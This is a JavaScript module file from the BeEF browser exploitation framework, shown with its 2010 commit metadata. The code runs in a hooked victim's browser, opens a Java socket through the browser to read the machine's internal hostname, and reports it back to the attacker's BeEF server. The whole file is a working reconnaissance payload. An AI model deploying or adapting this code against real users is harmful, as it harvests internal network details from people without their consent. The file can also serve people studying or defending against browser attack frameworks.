Files
beef/modules/network/detect_hostname/template.js
wade@bindshell.net 03ffb4703d Initial Import
git-svn-id: https://beef.googlecode.com/svn/trunk@2 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
2010-01-11 00:54:08 +00:00

21 lines
494 B
JavaScript

// code from http://code.google.com/p/attackapi/
var internalhostname = "";
function do_main(){
try {
var sock = new java.net.Socket();
sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
internalhostname = sock.getLocalAddress().getHostName();
} catch (e) {
internalhostname = 'failed';
}
}
do_main();
return_result(result_id, internalhostname);